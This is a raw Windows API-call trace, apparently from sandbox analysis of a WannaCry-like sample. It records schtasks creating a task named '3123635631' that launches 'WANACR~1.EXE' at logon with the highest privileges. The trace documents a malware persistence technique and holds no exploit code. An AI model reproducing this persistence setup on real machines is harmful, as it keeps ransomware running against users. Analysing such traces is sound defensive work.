[0020.024] lstrlenW (lpString="mo") returned 2 [0020.024] lstrlenW (lpString="mo") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] lstrlenW (lpString="tr") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|mo|") returned 4 [0020.024] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.024] lstrlenW (lpString="|mo|") returned 4 [0020.024] lstrlenW (lpString="|tr|") returned 4 [0020.024] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0020.024] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.024] lstrlenW (lpString="d") returned 1 [0020.024] lstrlenW (lpString="d") returned 1 [0020.024] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] lstrlenW (lpString="tr") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|d|") returned 3 [0020.024] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.025] lstrlenW (lpString="|d|") returned 3 [0020.025] lstrlenW (lpString="|tr|") returned 4 [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] lstrlenW (lpString="m") returned 1 [0020.025] lstrlenW (lpString="m") returned 1 [0020.025] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.025] lstrlenW (lpString="tr") returned 2 [0020.025] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.025] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|m|") returned 3 [0020.025] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.025] lstrlenW (lpString="|m|") returned 3 [0020.025] lstrlenW (lpString="|tr|") returned 4 [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] lstrlenW (lpString="i") returned 1 [0020.025] lstrlenW (lpString="i") returned 1 [0020.025] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.025] lstrlenW (lpString="tr") returned 2 [0020.025] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.025] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|i|") returned 3 [0020.025] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.025] lstrlenW (lpString="|i|") returned 3 [0020.025] lstrlenW (lpString="|tr|") returned 4 [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] lstrlenW (lpString="tn") returned 2 [0020.025] lstrlenW (lpString="tn") returned 2 [0020.025] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.025] lstrlenW (lpString="tr") returned 2 [0020.025] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.025] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.025] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.025] lstrlenW (lpString="|tn|") returned 4 [0020.025] lstrlenW (lpString="|tr|") returned 4 [0020.025] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] lstrlenW (lpString="tr") returned 2 [0020.025] lstrlenW (lpString="tr") returned 2 [0020.025] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.025] lstrlenW (lpString="tr") returned 2 [0020.025] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.025] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.025] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.025] lstrlenW (lpString="|tr|") returned 4 [0020.025] lstrlenW (lpString="|tr|") returned 4 [0020.025] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.025] lstrlenW (lpString="-/") returned 2 [0020.025] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.025] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.025] StrChrIW (lpStart="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE", wMatch=0x3a) returned=":\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" [0020.025] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.025] _memicmp (_Buf1=0x56c423ede0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.026] _memicmp (_Buf1=0x56c423ed60, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.026] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.026] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.026] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.026] lstrlenW (lpString="C") returned 1 [0020.026] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.026] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.026] _memicmp (_Buf1=0x56c423ebe0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.026] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.026] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.026] lstrlenW (lpString=" \x09") returned 2 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x7e) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x7e) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x7e) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x58) returned 0x0 [0020.026] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0020.026] GetLastError () returned 0x0 [0020.026] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.026] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.026] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.026] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.026] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0020.026] lstrlenW (lpString="LIMITED") returned 7 [0020.026] GetThreadLocale () returned 0x409 [0020.027] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="highest", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0020.027] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.027] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0020.027] lstrlenW (lpString="HIGHEST") returned 7 [0020.027] GetThreadLocale () returned 0x409 [0020.027] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="highest", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0020.027] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.027] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0020.027] lstrlenW (lpString="MINUTE") returned 6 [0020.027] GetThreadLocale () returned 0x409 [0020.027] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="onlogon", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0020.027] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.027] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0020.027] lstrlenW (lpString="HOURLY") returned 6 [0020.027] GetThreadLocale () returned 0x409 [0020.027] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="onlogon", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0020.027] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.027] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0020.027] lstrlenW (lpString="DAILY") returned 5 [0020.027] GetThreadLocale () returned 0x409 [0020.027] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="onlogon", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0020.027] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.027] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0020.027] lstrlenW (lpString="WEEKLY") returned 6 [0020.027] GetThreadLocale () returned 0x409 [0020.027] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="onlogon", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0020.027] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.027] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0020.027] lstrlenW (lpString="MONTHLY") returned 7 [0020.027] GetThreadLocale () returned 0x409 [0020.027] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="onlogon", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0020.027] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.027] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0020.027] lstrlenW (lpString="ONCE") returned 4 [0020.027] GetThreadLocale () returned 0x409 [0020.027] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="onlogon", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0020.027] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0020.028] lstrlenW (lpString="ONSTART") returned 7 [0020.028] GetThreadLocale () returned 0x409 [0020.028] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="onlogon", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0020.028] lstrlenW (lpString="ONLOGON") returned 7 [0020.028] GetThreadLocale () returned 0x409 [0020.028] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="onlogon", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0020.028] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0020.028] lstrlenW (lpString="First") returned 5 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0020.028] lstrlenW (lpString="Second") returned 6 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0020.028] lstrlenW (lpString="Third") returned 5 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0020.028] lstrlenW (lpString="Fourth") returned 6 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.028] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.029] GetLocalTime (in: lpSystemTime=0x56c410d288 | out: lpSystemTime=0x56c410d288*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x3, wDay=0x9, wHour=0x1, wMinute=0x1, wSecond=0x2c, wMilliseconds=0x39)) [0020.029] lstrlenW (lpString="") returned 0 [0020.029] lstrlenW (lpString="") returned 0 [0020.029] lstrlenW (lpString="") returned 0 [0020.029] lstrlenW (lpString="") returned 0 [0020.029] lstrlenW (lpString="") returned 0 [0020.029] lstrlenW (lpString="") returned 0 [0020.029] lstrlenW (lpString="") returned 0 [0020.029] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0020.091] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0020.136] CoCreateInstance (in: rclsid=0x7ff6693d1e48*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff6693d1e58*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x56c410cfb0 | out: ppv=0x56c410cfb0*=0x56c4465eb0) returned 0x0 [0020.185] TaskScheduler:ITaskService:Connect (This=0x56c4465eb0, serverName=0x56c410d0a0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x56c410d060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x56c410d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x56c410d080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0020.197] TaskScheduler:ITaskService:GetFolder (in: This=0x56c4465eb0, Path=0x0, ppFolder=0x56c410d1a0 | out: ppFolder=0x56c410d1a0*=0x56c4466000) returned 0x0 [0020.197] TaskScheduler:ITaskService:NewTask (in: This=0x56c4465eb0, flags=0x0, ppDefinition=0x56c410d150 | out: ppDefinition=0x56c410d150*=0x56c4466080) returned 0x0 [0020.198] ITaskDefinition:get_Actions (in: This=0x56c4466080, ppActions=0x56c410d0c0 | out: ppActions=0x56c410d0c0*=0x56c4466110) returned 0x0 [0020.198] IActionCollection:Create (in: This=0x56c4466110, Type=0, ppAction=0x56c410d0f0 | out: ppAction=0x56c410d0f0*=0x56c4467080) returned 0x0 [0020.198] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.198] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.198] lstrlenW (lpString=" ") returned 1 [0020.198] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x47) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x7e) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x7e) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x7e) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x58) returned 0x0 [0020.198] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0020.198] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.198] StrChrIW (lpStart="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE", wMatch=0x20) returned 0x0 [0020.198] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.198] IUnknown:Release (This=0x56c4467080) returned 0x1 [0020.198] IUnknown:Release (This=0x56c4466110) returned 0x1 [0020.198] ITaskDefinition:get_Triggers (in: This=0x56c4466080, ppTriggers=0x56c410cc58 | out: ppTriggers=0x56c410cc58*=0x56c44663d0) returned 0x0 [0020.199] ITriggerCollection:Create (in: This=0x56c44663d0, Type=9, ppTrigger=0x56c410cc48 | out: ppTrigger=0x56c410cc48*=0x56c44670f0) returned 0x0 [0020.199] IUnknown:QueryInterface (in: This=0x56c44670f0, riid=0x7ff6693d1320*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x56c410cc40 | out: ppvObject=0x56c410cc40*=0x56c44670f0) returned 0x0 [0020.199] IUnknown:Release (This=0x56c44670f0) returned 0x2 [0020.199] _vsnwprintf (in: _Buffer=0x56c410cb90, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x56c410cb68 | out: _Buffer="2017-08-09T01:01:00") returned 19 [0020.199] ITrigger:put_StartBoundary (This=0x56c44670f0, StartBoundary="2017-08-09T01:01:00") returned 0x0 [0020.199] lstrlenW (lpString="") returned 0 [0020.199] lstrlenW (lpString="") returned 0 [0020.199] lstrlenW (lpString="") returned 0 [0020.199] lstrlenW (lpString="") returned 0 [0020.199] IUnknown:Release (This=0x56c44670f0) returned 0x1 [0020.199] IUnknown:Release (This=0x56c44663d0) returned 0x1 [0020.199] ITaskDefinition:get_Settings (in: This=0x56c4466080, ppSettings=0x56c410d0f0 | out: ppSettings=0x56c410d0f0*=0x56c4466250) returned 0x0 [0020.199] lstrlenW (lpString="") returned 0 [0020.199] IUnknown:Release (This=0x56c4466250) returned 0x3 [0020.199] GetLocalTime (in: lpSystemTime=0x56c410cfb8 | out: lpSystemTime=0x56c410cfb8*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x3, wDay=0x9, wHour=0x1, wMinute=0x1, wSecond=0x2c, wMilliseconds=0xe9)) [0020.199] LdrResolveDelayLoadedAPI () returned 0x7ffe2a5986a0 [0020.201] GetUserNameW (in: lpBuffer=0x56c410cfd0, pcbBuffer=0x56c410cfa8 | out: lpBuffer="5JgHKoaOfdp", pcbBuffer=0x56c410cfa8) returned 1 [0020.201] ITaskDefinition:get_RegistrationInfo (in: This=0x56c4466080, ppRegistrationInfo=0x56c410cfa0 | out: ppRegistrationInfo=0x56c410cfa0*=0x56c4466190) returned 0x0 [0020.201] IRegistrationInfo:put_Author (This=0x56c4466190, Author="5JgHKoaOfdp") returned 0x0 [0020.201] _vsnwprintf (in: _Buffer=0x56c410cfd0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x56c410cf68 | out: _Buffer="2017-08-09T01:01:44") returned 19 [0020.201] IRegistrationInfo:put_Date (This=0x56c4466190, Date="2017-08-09T01:01:44") returned 0x0 [0020.201] IUnknown:Release (This=0x56c4466190) returned 0x1 [0020.202] lstrlenW (lpString="") returned 0 [0020.202] ITaskDefinition:get_Principal (in: This=0x56c4466080, ppPrincipal=0x56c410d180 | out: ppPrincipal=0x56c410d180*=0x56c4466fd0) returned 0x0 [0020.202] IPrincipal:put_RunLevel (This=0x56c4466fd0, RunLevel=1) returned 0x0 [0020.202] IUnknown:Release (This=0x56c4466fd0) returned 0x1 [0020.202] ITaskFolder:RegisterTaskDefinition (in: This=0x56c4466000, Path="3123635631", pDefinition=0x56c4466080, flags=2, UserId=0x56c410d230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x56c410d210*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x56c410d250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x56c410d1b8 | out: ppTask=0x56c410d1b8*=0x56c4467230) returned 0x0 [0021.864] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0021.864] _vsnwprintf (in: _Buffer=0x56c410d8a0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x56c410d108 | out: _Buffer="SUCCESS: The scheduled task \"3123635631\" has successfully been created.\n") returned 72 [0021.864] _fileno (_File=0x7ffe2a940d00) returned 1 [0021.864] _errno () returned 0x56c4460840 [0021.864] _get_osfhandle (_FileHandle=1) returned 0x1c [0021.864] _errno () returned 0x56c4460840 [0021.864] GetFileType (hFile=0x1c) returned 0x2 [0021.864] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1c [0021.864] GetFileType (hFile=0x1c) returned 0x2 [0021.864] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x56c410d080 | out: lpMode=0x56c410d080) returned 1 [0021.864] __iob_func () returned 0x7ffe2a940cd0 [0021.864] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1c [0021.864] lstrlenW (lpString="SUCCESS: The scheduled task \"3123635631\" has successfully been created.\n") returned 72 [0021.864] WriteConsoleW (in: hConsoleOutput=0x1c, lpBuffer=0x56c410d8a0*, nNumberOfCharsToWrite=0x48, lpNumberOfCharsWritten=0x56c410d0f0, lpReserved=0x0 | out: lpBuffer=0x56c410d8a0*, lpNumberOfCharsWritten=0x56c410d0f0*=0x48) returned 1 [0021.865] IUnknown:Release (This=0x56c4467230) returned 0x0 [0021.865] IUnknown:Release (This=0x56c4466080) returned 0x0 [0021.865] IUnknown:Release 